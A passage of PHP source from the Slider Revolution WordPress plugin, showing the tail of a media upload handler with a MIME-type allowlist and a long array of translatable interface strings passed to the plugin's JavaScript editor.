				return array('error' => __('Exceeded filesize limit', 'revslider'));
			default:
			break;
		}
		
		$path = $this->get_val($import_file, 'tmp_name');
		if(isset($path['error'])) return array('error' => $path['error']);
		
		if(file_exists($path) == false) return array('error' => __('File not found', 'revslider'));
		if($this->get_val($import_file, 'size') > wp_max_upload_size()) return array('error' => __('Exceeded filesize limit', 'revslider'));
		
		$file_mime = mime_content_type($path);
		$allow = array(
			'jpg|jpeg|jpe'	=> 'image/jpeg',
			'gif'			=> 'image/gif',
			'png'			=> 'image/png',
			'bmp'			=> 'image/bmp',
			'mpeg|mpg|mpe'	=> 'video/mpeg',
			'mp4|m4v'		=> 'video/mp4',
			'ogv'			=> 'video/ogg',
			'webm'			=> 'video/webm'
		);
		
		if(!in_array($file_mime, $allow)) return array('error' => __('WordPress doesn\'t allow this filetype', 'revslider'));
		
		$upload_dir = wp_upload_dir();
		
		$new_path = $path;
		$file_name = basename($this->get_val($import_file, 'name'));
		$i = 0;
		while(file_exists($new_path)){
			$i++;
			$new_path = $upload_dir['path']. '/' .$i. '-' .$file_name;
		}
		
		if(move_uploaded_file($path, $new_path)){
			$upload_id = wp_insert_attachment(
				array(
					'guid'			 => $new_path, 
					'post_mime_type' => $file_mime,
					'post_title'	 => preg_replace( '/\.[^.]+$/', '', $file_name),
					'post_name'		 => sanitize_title_with_dashes(str_replace('_', '-', $file_name)),
					'post_content'	 => '',
					'post_status'	 => 'inherit'
				),
				$new_path
			);
			
			require_once(ABSPATH . 'wp-admin/includes/image.php');
		 
			@wp_update_attachment_metadata($upload_id, wp_generate_attachment_metadata($upload_id, $new_path));
			
			//$meta = wp_get_attachment_metadata( $attachment->ID );
			
			$img_dim = @wp_get_attachment_image_src($upload_id, 'full');
			$width	= ($img_dim !== false) ? $this->get_val($img_dim, 1, '') : '';
			$height	= ($img_dim !== false) ? $this->get_val($img_dim, 2, '') : '';
			
			$return = array('error' => false, 'id' => $upload_id, 'path' => wp_get_attachment_url($upload_id), 'width' => $width, 'height' => $height); //$new_path
		}
		
		return $return;
	}
	
	public function sort_by_slide_order($a, $b) {
		return $a['slide_order'] - $b['slide_order'];
	}
	
	
	/**
	 * Create Multilanguage for JavaScript
	 */
	public function get_javascript_multilanguage(){
		$lang = array(
			'up' => __('Up', 'revslider'),
			'down' => __('Down', 'revslider'),
			'left' => __('Left', 'revslider'),
			'right' => __('Right', 'revslider'),
			'horizontal' => __('Horizontal', 'revslider'),
			'vertical' => __('Vertical', 'revslider'),
			'reversed' => __('Reverse', 'revslider'),
			'previewnotworking' => __('The preview could not be loaded due to some conflict with another WordPress theme or plugin', 'revslider'),
			'checksystemnotworking' => __('Server connection issues, contact your hosting provider for further assistance', 'revslider'),
			'editskins' => __('Edit Skin List', 'revslider'),
			'globalcoloractive' => __('Color Skin Active', 'revslider'),
			'corejs' => __('Core JavaScript', 'revslider'),
			'corecss' => __('Core CSS', 'revslider'),
			'coretools' => __('Core Tools (GreenSock & Co)', 'revslider'),
			'enablecompression' => __('Enable Server Compression', 'revslider'),
			'noservercompression' => __('Not Available, read FAQ', 'revslider'),
			'servercompression' => __('Serverside Compression', 'revslider'),
			'sizeafteroptim' => __('Size after Optimization', 'revslider'),
			'chgimgsizesrc' => __('Change Image Size or Src', 'revslider'),
			'pickandim' => __('Pick another Dimension', 'revslider'),
			'optimize' => __('Optimize', 'revslider'),
			'savechanges' => __('Save Changes', 'revslider'),
			'applychanges' => __('Apply Changes', 'revslider'),
			'suggestion' => __('Suggestion', 'revslider'),
			'toosmall' => __('Too Small', 'revslider'),
			'standard1x' => __('Standard (1x)', 'revslider'),
			'retina2x' => __('Retina (2x)', 'revslider'),
			'oversized' => __('Oversized', 'revslider'),
			'quality' => __('Quality', 'revslider'),
			'file' => __('File', 'revslider'),
			'resize' => __('Resize', 'revslider'),
			'lowquality' => __('Optimized (Low Quality)', 'revslider'),
			'notretinaready' => __('Not Retina Ready', 'revslider'),
			'element' => __('Element', 'revslider'),
			'calculating' => __('Calculating...', 'revslider'),
			'filesize' => __('File Size', 'revslider'),
			'dimension' => __('Dimension', 'revslider'),
			'dimensions' => __('Dimensions', 'revslider'),
			'optimization' => __('Optimization', 'revslider'),
			'optimized' => __('Optimized', 'revslider'),
			'smartresize' => __('Smart Resize', 'revslider'),
			'optimal' => __('Optimal', 'revslider'),
			'recommended' => __('Recommended', 'revslider'),
			'hrecommended' => __('Highly Recommended', 'revslider'),
			'optimizertitel' => __('File Size Optimizer', 'revslider'),
			'loadedmediafiles' => __('Loaded Media Files', 'revslider'),
			'loadedmediainfo' => __('Optimize to save up to ', 'revslider'),
			'optselection' => __('Optimize Selection', 'revslider'),
			'visibility' => __('Visibility', 'revslider'),
			'layers' => __('Layers', 'revslider'),
			'videoid' => __('Video ID', 'revslider'),
			'youtubeid' => __('YouTube ID', 'revslider'),
			'vimeoid' => __('Vimeo ID', 'revslider'),
			'poster' => __('Poster', 'revslider'),
			'youtubeposter' => __('YouTube Poster', 'revslider'),
			'vimeoposter' => __('Vimeo Poster', 'revslider'),
			'postersource' => __('Poster Image', 'revslider'),
			'medialibrary' => __('Media Library', 'revslider'),
			'objectlibrary' => __('Object Library', 'revslider'),
			'videosource' => __('Video Source', 'revslider'),
			'imagesource' => __('Image Source', 'revslider'),
			'extimagesource' => __('External Image Source', 'revslider'),
			'mediasrcimage' => __('Image Based', 'revslider'),
			'mediasrcext' => __('External Image', 'revslider'),				
			'mediasrcsolid' => __('Background Color', 'revslider'),
			'mediasrctrans' => __('Transparent', 'revslider'),
			'please_wait_a_moment' => __('Please Wait a Moment', 'revslider'),
			'backgrounds' => __('Backgrounds', 'revslider'),
			'name' => __('Name', 'revslider'),
			'colorpicker' => __('Color Picker', 'revslider'),
			'savecontent' => __('Save Content', 'revslider'),
			'modulbackground' => __('Module Background', 'revslider'),
			'wrappingtag' => __('Wrapping Tag', 'revslider'),
			'tag' => __('Tag', 'revslider'),
			'content' => __('Content', 'revslider'),
			'nolayerstoedit' => __('No Layers to Edit', 'revslider'),
			'layermedia' => __('Layer Media', 'revslider'),
			'oppps' => __('Ooppps....', 'revslider'),
			'no_nav_changes_done' => __('None of the Settings changed. There is Nothing to Save', 'revslider'),
			'no_preset_name' => __('Enter Preset Name to Save or Delete', 'revslider'),
			'customlayergrid_size_title' => __('Custom Size is currently Disabled', 'revslider'),
			'customlayergrid_size_content' => __('The Current Size is set to calculate the Layer grid sizes Automatically.<br>Do you want to continue with Custom Sizes or do you want to keep the Automatically generated sizes ?', 'revslider'),
			'customlayergrid_answer_a' => __('Keep Auto Sizes', 'revslider'),
			'customlayergrid_answer_b' => __('Use Custom Sizes', 'revslider'),
			'removinglayer_title' => __('What should happen Next?', 'revslider'),
			'removinglayer_attention' => __('Need Attention by removing', 'revslider'),
			'removinglayer_content' => __('Where do you want to move the Inherited Layers?', 'revslider'),
			'dragAndDropFile' => __('Drag & Drop Import File', 'revslider'),
			'or' => __('or', 'revslider'),
			'clickToChoose' => __('Click to Choose', 'revslider'),
			'embed' => __('Embed', 'revslider'),
			'export' => __('Export', 'revslider'),
			'delete' => __('Delete', 'revslider'),
			'duplicate' => __('Duplicate', 'revslider'),
			'preview' => __('Preview', 'revslider'),
			'tags' => __('Tags', 'revslider'),
			'folders' => __('Folder', 'revslider'),
			'rename' => __('Rename', 'revslider'),
			'root' => __('Root Level', 'revslider'),
			'addcategory' => __('Add Category', 'revslider'),
			'show' => __('Show', 'revslider'),
			'perpage' => __('Per Page', 'revslider'),
			'convertedlayer' => __('Layer converted Successfully', 'revslider'),
			'layerloopdisabledduetimeline' => __('Layer Loop Effect disabled', 'revslider'),
			'layerbleedsout' => __('<b>Layer width bleeds out of Grid:</b><br>-Auto Layer width has been removed<br>-Line Break set to Content Based', 'revslider'),
			'noMultipleSelectionOfLayers' => __('Multiple Layerselection not Supported<br>in Animation Mode', 'revslider'),
			'closeNews' => __('Close News', 'revslider'),
			'copyrightandlicenseinfo' => __('&copy; Copyright & License Info', 'revslider'),
			'registered' => __('Registered', 'revslider'),
			'notRegisteredNow' => __('Unregistered', 'revslider'),
			'dismissmessages' => __('Dismiss Messages', 'revslider'),
			'someAddonnewVersionAvailable' => __('Some AddOns have new versions available', 'revslider'),
			'newVersionAvailable' => __('New Version Available. Please Update', 'revslider'),
			'pluginsmustbeupdated' => __('Plugin Outdated. Please Update', 'revslider'),
			'addonsmustbeupdated' => __('AddOns Outdated. Please Update', 'revslider'),
			'notRegistered' => __('Plugin is not Registered', 'revslider'),
			'notRegNoPremium' => __('Register to unlock Premium Features', 'revslider'),
			'notRegNoAll' => __('Register Plugin to unlock all features', 'revslider'),
			'needsd' => __('Needs:', 'revslider'),
			'fixMissingAddons' => __('Fix not Installed Addons', 'revslider'),
			'fix' => __('Fix', 'revslider'),
			'notRegNoAddOns' => __('Register to unlock AddOns', 'revslider'),
			'notRegNoSupport' => __('Register to unlock Support', 'revslider'),
			'notRegNoLibrary' => __('Register to unlock Library', 'revslider'),
			'notRegNoUpdates' => __('Register to unlock Updates', 'revslider'),
			'notRegNoTemplates' => __('Register to unlock Templates', 'revslider'),
			'areyousureupdateplugin' => __('Do you want to start the Update process?', 'revslider'),
			'arereadytoimport' => __('are ready for import!', 'revslider'),
			'addtocustomornew' => __('Do you want to add them to the "custom" category or create a new category?', 'revslider'),
			'addtocustom' => __('Add To Custom', 'revslider'),
			'addto' => __('Add To', 'revslider'),
			'createnewcategory' => __('Create New Category', 'revslider'),
			'updatenow' => __('Update Now', 'revslider'),
			'securityupdate' => __('Install Critical Update', 'revslider'),
			'toplevels' => __('Higher Level', 'revslider'),
			'siblings' => __('Current Level', 'revslider'),
			'otherfolders' => __('Other Folders', 'revslider'),
			'parent' => __('Parent Level', 'revslider'),
			'from' => __('from', 'revslider'),
			'to' => __('to', 'revslider'),
			'actionneeded' => __('Action Needed', 'revslider'),
			'updatedoneexist' => __('Done', 'revslider'),
			'updateallnow' => __('Update All', 'revslider'),
			'updatelater' => __('Update Later', 'revslider'),
			'addonsupdatemain' => __('The following AddOns require an update:', 'revslider'),
			'addonsupdatetitle' => __('AddOns need attention', 'revslider'),
			'updatepluginfailed' => __('Updating Plugin Failed', 'revslider'),
			'updatingplugin' => __('Updating Plugin...', 'revslider'),
			'licenseissue' => __('License validation issue Occured. Please contact our Support.', 'revslider'),
			'leave' => __('Back to Overview', 'revslider'),
			'reLoading' => __('Page is reloading...', 'revslider'),
			'updateplugin' => __('Update Plugin', 'revslider'),
			'updatepluginsuccess' => __('Slider Revolution Plugin updated Successfully.', 'revslider'),
			'updatepluginfailure' => __('Slider Revolution Plugin updated Failure:', 'revslider'),
			'updatepluginsuccesssubtext' => __('Slider Revolution Plugin updated Successfully to', 'revslider'),
			'reloadpage' => __('Reload Page', 'revslider'),
			'loading' => __('Loading', 'revslider'),
			'globalcolors' => __('Global Colors', 'revslider'),
			'elements' => __('Elements', 'revslider'),
			'loadingthumbs' => __('Loading Thumbnails...', 'revslider'),
			'jquerytriggered' => __('jQuery Triggered', 'revslider'),
			'atriggered' => __('&lt;a&gt; Tag Link', 'revslider'),
			'randomslide' => __('Random Slide', 'revslider'),
			'firstslide' => __('First Slide', 'revslider'),
			'lastslide' => __('Last Slide', 'revslider'),
			'nextslide' => __('Next Slide', 'revslider'),
			'previousslide' => __('Previous Slide', 'revslider'),
			'somesourceisnotcorrect' => __('Some Settings in Slider <strong>Source may not complete</strong>.<br>Please Complete All Settings in Slider Sources.', 'revslider'),
			'somelayerslocked' => __('Some Layers are <strong>Locked</strong> and/or <strong>Invisible</strong>.<br>Change Status in Timeline.', 'revslider'),
			'editorisLoading' => __('Editor is Loading...', 'revslider'),
			'addingnewblankmodule' => __('Adding new Blank Module...', 'revslider'),
			'opening' => __('Opening', 'revslider'),
			'featuredimages' => __('Featured Images', 'revslider'),
			'images' => __('Images', 'revslider'),
			'none' => __('None', 'revslider'),
			'select' => __('Select', 'revslider'),
			'reset' => __('Reset', 'revslider'),
			'custom' => __('Custom', 'revslider'),
			'out' => __('OUT', 'revslider'),
			'in' => __('IN', 'revslider'),
			'sticky_navigation' => __('Navigation Options', 'revslider'),
			'sticky_slider' => __('Module General Options', 'revslider'),
			'sticky_slide' => __('Slide Options', 'revslider'),
			'sticky_layer' => __('Layer Options', 'revslider'),
			'imageCouldNotBeLoaded' => __('Set a Slide Background Image to use this feature', 'revslider'),
			'slideTransPresets' => __('Slide Transition Presets', 'revslider'),
			'exporthtml' => __('HTML', 'revslider'),
			'simproot' => __('Root', 'revslider'),
			'releaseToAddLayer' => __('Release to Add Layer', 'revslider'),
			'releaseToUpload' => __('Release to Upload file', 'revslider'),
			'moduleZipFile' => __('Module .zip', 'revslider'),
			'importing' => __('Processing Import of', 'revslider'),
			'importfailure' => __('An Error Occured while importing', 'revslider'),
			'successImportFile' => __('File Succesfully Imported', 'revslider'),
			'importReport' => __('Import Report', 'revslider'),
			'updateNow' => __('Update Now', 'revslider'),
			'activateToUpdate' => __('Activate To Update', 'revslider'),
			'activated' => __('Activated', 'revslider'),
			'notActivated' => __('Not Activated', 'revslider'),			
			'embedingLine1' => __('Standard Module Embedding', 'revslider'),
			'embedingLine2' => __('For the <b>pages and posts</b> editor insert the Shortcode:', 'revslider'),
			'embedingLine2a' => __('To Use it as <b>Modal</b> on <b>pages and posts</b> editor insert the Shortcode:', 'revslider'),
			'embedingLine3' => __('From the <b>widgets panel</b> drag the "Revolution Module" widget to the desired sidebar.', 'revslider'),
			'embedingLine4' => __('Advanced Module Embedding', 'revslider'),
			'embedingLine5' => __('For the <b>theme html</b> use:', 'revslider'),
			'embedingLine6' => __('To add the slider only to the homepage, use:', 'revslider'),
			'embedingLine7' => __('To add the slider only to single Pages, use:', 'revslider'),
			'noLayersSelected' => __('Select a Layer', 'revslider'),
			'layeraction_group_link' => __('Link Actions', 'revslider'),
			'layeraction_group_slide' => __('Slide Actions', 'revslider'),
			'layeraction_group_layer' => __('Layer Actions', 'revslider'),
			'layeraction_group_media' => __('Media Actions', 'revslider'),
			'layeraction_group_fullscreen' => __('Fullscreen Actions', 'revslider'),
			'layeraction_group_advanced' => __('Advanced Actions', 'revslider'),
			'layeraction_menu' => __('Menu Link & Scroll', 'revslider'),
			'layeraction_link' => __('Simple Link', 'revslider'),
			'layeraction_callback' => __('Call Back', 'revslider'),
			'layeraction_modal' => __('Open Slider Modal', 'revslider'),
			'layeraction_scroll_under' => __('Scroll below Slider', 'revslider'),
			'layeraction_scrollto' => __('Scroll To ID', 'revslider'),
			'layeraction_jumpto' => __('Jump to Slide', 'revslider'),
			'layeraction_next' => __('Next Slide', 'revslider'),
			'layeraction_prev' => __('Previous Slide', 'revslider'),
			'layeraction_next_frame' => __('Next Frame', 'revslider'),
			'layeraction_prev_frame' => __('Previous Frame', 'revslider'),
			'layeraction_pause' => __('Pause Slider', 'revslider'),
			'layeraction_resume' => __('Play Slide', 'revslider'),
			'layeraction_close_modal' => __('Close Slider Modal', 'revslider'),
			'layeraction_open_modal' => __('Open Slider Modal', 'revslider'),
			'layeraction_toggle_slider' => __('Toggle Slider', 'revslider'),
			'layeraction_start_in' => __('Go to 1st Frame ', 'revslider'),
			'layeraction_start_out' => __('Go to Last Frame', 'revslider'),
			'layeraction_start_frame' => __('Go to Frame "N"', 'revslider'),
			'layeraction_toggle_layer' => __('Toggle 1st / Last Frame', 'revslider'),
			'layeraction_toggle_frames' => __('Toggle "N/M" Frames', 'revslider'),
			'layeraction_start_video' => __('Start Media', 'revslider'),
			'layeraction_stop_video' => __('Stop Media', 'revslider'),
			'layeraction_toggle_video' => __('Toggle Media', 'revslider'),
			'layeraction_mute_video' => __('Mute Media', 'revslider'),
			'layeraction_unmute_video' => __('Unmute Media', 'revslider'),
			'layeraction_toggle_mute_video' => __('Toggle Mute Media', 'revslider'),
			'layeraction_toggle_global_mute_video' => __('Toggle Mute All Media', 'revslider'),
			'layeraction_togglefullscreen' => __('Toggle Fullscreen', 'revslider'),
			'layeraction_gofullscreen' => __('Enter Fullscreen', 'revslider'),
			'layeraction_exitfullscreen' => __('Exit Fullscreen', 'revslider'),
			'layeraction_simulate_click' => __('Simulate Click', 'revslider'),
			'layeraction_toggle_class' => __('Toggle Class', 'revslider'),
			'layeraction_none' => __('Disabled', 'revslider'),
			'backgroundvideo' => __('Background Video', 'revslider'),
			'videoactiveslide' => __('Video in Active Slide', 'revslider'),
			'firstvideo' => __('Video in Active Slide', 'revslider'),
			'addaction' => __('Add Action to ', 'revslider'),
			'ol_images' => __('Images', 'revslider'),
			'ol_layers' => __('Layer Objects', 'revslider'),
			'ol_objects' => __('Objects', 'revslider'),
			'ol_modules' => __('Own Modules', 'revslider'),
			'ol_fonticons' => __('Font Icons', 'revslider'),
			'ol_moduletemplates' => __('Module Templates', 'revslider'),
			'ol_videos' => __('Videos', 'revslider'),
			'ol_svgs' => __('SVG\'s', 'revslider'),
			'ol_favorite' => __('Favorites', 'revslider'),
			'installed' => __('Installed', 'revslider'),
			'notinstalled' => __('Not Installed', 'revslider'),
			'setupnotes' => __('Setup Notes', 'revslider'),
			'requirements' => __('Requirements', 'revslider'),
			'installedversion' => __('Installed Version', 'revslider'),
			'cantpulllinebreakoutside' => __('Use LineBreaks only in Columns', 'revslider'),
			'availableversion' => __('Available Version', 'revslider'),			
			'installingtemplate' => __('Installing Template', 'revslider'),
			'search' => __('Search', 'revslider'),
			'publish' => __('Publish', 'revslider'),
			'unpublish' => __('Unpublish', 'revslider'),
			'slidepublished' => __('Slide Published', 'revslider'),
			'slideunpublished' => __('Slide Unpublished', 'revslider'),
			'layerpublished' => __('Layer Published', 'revslider'),
			'layerunpublished' => __('Layer Unpublished', 'revslider'),
			'folderBIG' => __('FOLDER', 'revslider'),
			'moduleBIG' => __('MODULE', 'revslider'),
			'objectBIG' => __('OBJECT', 'revslider'),
			'packageBIG' => __('PACKAGE', 'revslider'),
			'thumbnail' => __('Thumbnail', 'revslider'),
			'imageBIG' => __('IMAGE', 'revslider'),
			'videoBIG' => __('VIDEO', 'revslider'),
			'iconBIG' => __('ICON', 'revslider'),
			'svgBIG' => __('SVG', 'revslider'),
			'fontBIG' => __('FONT', 'revslider'),
			'redownloadTemplate' => __('Re-Download Online', 'revslider'),
			'createBlankPage' => __('Create Blank Page', 'revslider'),
			'changingscreensize' => __('Changing Screen Size', 'revslider'),
			'qs_headlines' => __('Headlines', 'revslider'),
			'qs_content' => __('Content', 'revslider'),
			'qs_buttons' => __('Buttons', 'revslider'),
			'qs_bgspace' => __('BG & Space', 'revslider'),
			'qs_shadow' => __('Shadow', 'revslider'),
			'qs_shadows' => __('Shadow', 'revslider'),
			'saveslide' => __('Saving Slide', 'revslider'),
			'loadconfig' => __('Loading Configuration', 'revslider'),
			'updateselects' => __('Updating Lists', 'revslider'),
			'textlayers' => __('Text Layers', 'revslider'),
			'globalLayers' => __('Global Layers', 'revslider'),
			'slidersettings' => __('Slider Settings', 'revslider'),
			'animatefrom' => __('Animate From', 'revslider'),
			'animateto' => __('Keyframe #', 'revslider'),
			'transformidle' => __('Transform Idle', 'revslider'),
			'enterstage' => __('Anim From', 'revslider'),
			'leavestage' => __('Anim To', 'revslider'),
			'onstage' => __('Anim To', 'revslider'),	
			'keyframe' => __('Keyframe', 'revslider'),
			'notenoughspaceontimeline' => __('Not Enough space between Frames.', 'revslider'),
			'framesizecannotbeextended' => __('Frame Size can not be Extended. Not enough Space.', 'revslider'),
			'backupTemplateLoop' => __('Loop Template', 'revslider'),
			'backupTemplateLayerAnim' => __('Animation Template', 'revslider'),
			'choose_image' => __('Choose Image', 'revslider'),
			'choose_video' => __('Choose Video', 'revslider'),
			'slider_revolution_shortcode_creator' => __('Slider Revolution Shortcode Creator', 'revslider'),
			'shortcode_generator' => __('Shortcode Generator', 'revslider'),
			'please_add_at_least_one_layer' => __('Please add at least one Layer.', 'revslider'),
			'shortcode_parsing_successfull' => __('Shortcode parsing successfull. Items can be found in step 3', 'revslider'),
			'shortcode_could_not_be_correctly_parsed' => __('Shortcode could not be parsed.', 'revslider'),
			'addonrequired' => __('Addon Required', 'revslider'),
			'installpackage' => __('Installing Template Package', 'revslider'),			
			'doinstallpackage' => __('Install Template Package', 'revslider'),
			'installtemplate' => __('Install Template', 'revslider'),
			'checkversion' => __('Update To Latest Version', 'revslider'),
			'installpackageandaddons' => __('Install Template Package & Addon(s)', 'revslider'),
			'installtemplateandaddons' => __('Install Template & Addon(s)', 'revslider'),
			'licencerequired' => __('Activate License', 'revslider'),
			'searcforicon' => __('Search Icons...', 'revslider'),
			'savecurrenttemplate' => __('Current Settings (Click to Save as Preset)', 'revslider'),
			'customtransitionpresets' => __('Custom Presets', 'revslider'),
			'customtemplates' => __('Custom', 'revslider'),
			'overwritetemplate' => __('Overwrite Template ?', 'revslider'),
			'deletetemplate' => __('Delete Template ?', 'revslider'),
			'credits' => __('Credits', 'revslider'),
			'randomanimation' => __('Random Animation', 'revslider'),
			'transition' => __('Transition', 'revslider'),
			'duration' => __('Duration', 'revslider'),
			'enabled' => __('Enabled', 'revslider'),
			'global' => __('Global', 'revslider'),
			'install_and_activate' => __('Install Add-On', 'revslider'),
			'install' => __('Install', 'revslider'),
			'enableaddon' => __('Enable Add-On', 'revslider'),
			'disableaddon' => __('Disable Add-On', 'revslider'),
			'enableglobaladdon' => __('Enable Global Add-On', 'revslider'),
			'disableglobaladdon' => __('Disable Global Add-On', 'revslider'),
			'sliderrevversion' => __('Slider Revolution Version', 'revslider'),
			'checkforrequirements' => __('Check Requirements', 'revslider'),
			'activateglobaladdon' => __('Activate Global Add-On', 'revslider'),
			'activateaddon' => __('Activate Add-On', 'revslider'),
			'activatingaddon' => __('Activating Add-On', 'revslider'),
			'enablingaddon' => __('Enabling Add-On', 'revslider'),
			'addon' => __('Add-On', 'revslider'),
			'installingaddon' => __('Installing Add-On', 'revslider'),
			'disablingaddon' => __('Disabling Add-On', 'revslider'),
			'buildingSelects' => __('Building Select Boxes', 'revslider'),
			'warning' => __('Warning', 'revslider'),
			'blank_page_added' => __('Blank Page Created', 'revslider'),
			'blank_page_created' => __('Blank page has been created:', 'revslider'),
			'visit_page' => __('Visit Page', 'revslider'),
			'edit_page' => __('Edit Page', 'revslider'),
			'closeandstay' => __('Close', 'revslider'),
			'changesneedreload' => __('The changes you made require a page reload!', 'revslider'),
			'saveprojectornot ' => __('Save your project & reload the page or cancel', 'revslider'),
			'saveandreload' => __('Save & Reload', 'revslider'),
			'canceldontreload' => __('Cancel & Reload Later', 'revslider'),
			'saveconfig' => __('Save Configuration', 'revslider'),
			'updatingaddon' => __('Updating', 'revslider'),
			'addonOnlyInSlider' => __('Enable/Disable Add-On on Module', 'revslider'),
			'openQuickEditor' => __('Open Quick Content Editor', 'revslider'),
			'openQuickStyleEditor' => __('Open Quick Style Editor', 'revslider'),
			'sortbycreation' => __('Sort by Creation', 'revslider'),
			'creationascending' => __('Creation Ascending', 'revslider'),
			'sortbytitle' => __('Sort by Title', 'revslider'),
			'titledescending' => __('Title Descending', 'revslider'),
			'updatefromserver' => __('Update List', 'revslider'),
			'audiolibraryloading' => __('Audio Wave Library is Loading...', 'revslider'),
			'editModule' => __('Edit Module', 'revslider'),
			'editSlide' => __('Edit Slide', 'revslider'),
			'showSlides' => __('Show Slides', 'revslider'),
			'openInEditor' => __('Open in Editor', 'revslider'),
			'openFolder' => __('Open Folder', 'revslider'),
			'moveToFolder' => __('Move to Folder', 'revslider'),
			'loadingRevMirror' => __('Loading RevMirror Library...', 'revslider'),
			'lockunlocklayer' => __('Lock / Unlock Selected', 'revslider'),
			'nrlayersimporting' => __('Layers Importing', 'revslider'),
			'nothingselected' => __('Nothing Selected', 'revslider'),
			'layerwithaction' => __('Layer with Action', 'revslider'),
			'imageisloading' => __('Image is Loading...', 'revslider'),
			'importinglayers' => __('Importing Layers...', 'revslider'),
			'triggeredby' => __('Triggered By', 'revslider'),
			'import' => __('Imported', 'revslider'),
			'layersBIG' => __('LAYERS', 'revslider'),
			'intinheriting' => __('Responsivity', 'revslider'),
			'changesdone_exit' => __('The changes you made will be lost!', 'revslider'),
			'exitwihoutchangesornot' => __('Are you sure you want to continue?', 'revslider'),
			'areyousuretoexport' => __('Are you sure you want to export ', 'revslider'),
			'areyousuretodelete' => __('Are you sure you want to delete ', 'revslider'),
			'deletecustomcategory' => __('Delete Custom Category ', 'revslider'),
			'deletecustomitem' => __('Delete Custom Item ', 'revslider'),
			'areyousuretodeleteeverything' => __('Delete All Sliders and Folders included in ', 'revslider'),
			'leavewithoutsave' => __('Leave without Save', 'revslider'), 
			'updatingtakes' => __('Updating the Plugin may take a few moments.', 'revslider'),
			'exportslidertxt' => __('Downloading the Zip File may take a few moments.', 'revslider'),
			'exportslider' => __('Export Slider', 'revslider'),
			'yesexport' => __('Yes, Export Slider', 'revslider'),
			'yesdelete' => __('Yes, Delete Slider', 'revslider'),
			'yesdeleteit' => __('Yes, Delete', 'revslider'),
			'yesdeleteslide' => __('Yes, Delete Slide', 'revslider'),
			'yesdeleteall' => __('Yes, Delete All Slider(s)', 'revslider'),
			'stayineditor' => __('Stay in Edior', 'revslider'),
			'redirectingtooverview' => __('Redirecting to Overview Page', 'revslider'),
			'leavingpage' => __('Leaving current Page', 'revslider'),
			'ashtmlexport' => __('as HTML Document', 'revslider'),
			'preparingNextSlide' => __('Preparing Slide...', 'revslider'),
			'updatingfields' => __('Preparing Fields...', 'revslider'),
			'preparingdatas' => __('Preparing Data...', 'revslider'),
			'loadingcontent' => __('Loading Content...', 'revslider'),
			'copy' => __('Copy', 'revslider'),
			'paste' => __('Paste', 'revslider'),
			'thiswilldeletecustomitem' => __('This will delete the selected item. Items already embedded in modules will remain there.', 'revslider'),
			'thiswilldeletecustomcategory' => __('This will delete the Category and move the elements in the default "All" category.', 'revslider'),
			'framewait' => __('WAIT', 'revslider'),
			'frstframe' => __('1st Frame', 'revslider'),
			'lastframe' => __('Last Frame', 'revslider'),
			'onlyonaction' => __('on Action', 'revslider'),
			'cannotbeundone' => __('This action can not be undone !!', 'revslider'),
			'deleteslider' => __('Delete Slider', 'revslider'),
			'deleteslide' => __('Delete Slide', 'revslider'),
			'deletingslide' => __('This can be Undone only within the Current session.', 'revslider'),
			'deleteselectedslide' => __('Are you sure you want to delete the selected Slide:', 'revslider'),
			'cancel' => __('Cancel', 'revslider'),
			'addons' => __('Add-Ons', 'revslider'),
			'deletingsingleslide' => __('Deleting Slide', 'revslider'),
			'lastslidenodelete' => __('"Last Slide in Module. Can not be deleted"', 'revslider'),
			'deletingslider' => __('Deleting Slider', 'revslider'),
			'active_sr_tmp_obl' => __('Template & Object Library', 'revslider'),
			'active_sr_inst_upd' => __('Instant Updates', 'revslider'),
			'active_sr_one_on_one' => __('1on1 Support', 'revslider'),			
			'parallaxsettoenabled' => __('Parallax is now generally Enabled', 'revslider'),
			'CORSERROR' => __('External Media can not be used  for WEBGL Transitions due CORS Policy issues', 'revslider'),
			'CORSWARNING' => __('Slider Revolution has successfully re-requested image to rectify above CORS error.', 'revslider'),
			'timelinescrollsettoenabled' => __('Scroll Based Timeline is now generally Enabled', 'revslider'),
			'feffectscrollsettoenabled' => __('Filter Effect Scroll is now generally Enabled', 'revslider'),
			'nolayersinslide' => __('Slide has no Layers', 'revslider'),
			'leaving' => __('Changes that you made may not be saved.', 'revslider'),
			'sliderasmodal' => __('Add Slider as Modal', 'revslider'),
			'register_to_unlock' => __('Register to unlock all Premium Features', 'revslider'),
			'premium_features_unlocked' => __('All Premium Features unlocked', 'revslider'),			
			'premium_template' => __('PREMIUM TEMPLATE', 'revslider'),
			'rs_premium_content' => __('This is a Premium template from the Slider Revolution <a target="_blank" rel="noopener" href="https://www.sliderrevolution.com/examples/">template library</a>. It can only be used on this website with a <a target="_blank" rel="noopener" href="https://www.sliderrevolution.com/manual/quick-setup-register-your-plugin/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=registermanual">registered license key</a>.', 'revslider'),
			'premium' => __('Premium', 'revslider'),
			'premiumunlock' => __('REGISTER LICENSE TO UNLOCK', 'revslider'),
			'tryagainlater' => __('Please try again later', 'revslider'),
			'quickcontenteditor' => __('Quick Content Editor', 'revslider'),
			'module' => __('Module', 'revslider'),
			'quickstyleeditor' => __('Quick Style Editor', 'revslider'),
			'all' => __('All', 'revslider'),
			'active_sr_to_access' => __('Register Slider Revolution<br>to Unlock Premium Features', 'revslider'),
			'membersarea' => __('Members Area', 'revslider'),
			'onelicensekey' => __('1 License Key per Website!', 'revslider'),
			'onepurchasekey' => __('1 Purchase Code per Website!', 'revslider'),
			'onelicensekey_info' => __('If you want to use your license key on another domain, please<br> deregister it in the members area or use a different key.', 'revslider'),
			'onepurchasekey_info' => __('If you want to use your purchase code on<br>another domain, please deregister it first or', 'revslider'),
			'registeredlicensekey' => __('Registered License Key', 'revslider'),
			'registeredpurchasecode' => __('Registered Purchase Code', 'revslider'),
			'registerlicensekey' => __('Register License Key', 'revslider'),
			'registerpurchasecode' => __('Register Purchase Code', 'revslider'),
			'registerCode' => __('Register this Code', 'revslider'),
			'registerKey' => __('Register this License Key', 'revslider'),
			'deregisterCode' => __('Deregister this Code', 'revslider'),
			'deregisterKey' => __('Deregister this License Key', 'revslider'),
			'active_sr_plg_activ' => __('Register Purchase Code', 'revslider'),
			'active_sr_plg_activ_key' => __('Register License Key', 'revslider'),
			'getpurchasecode' => __('Get a Purchase Code', 'revslider'),
			'getlicensekey' => __('Get a License Key', 'revslider'),
			'ihavepurchasecode' => __('I have a Purchase Code', 'revslider'),
			'ihavelicensekey' => __('I have a License Key', 'revslider'),
			'enterlicensekey' => __('Enter License Key', 'revslider'),
			'enterpurchasecode' => __('Enter Purchase Code', 'revslider'),
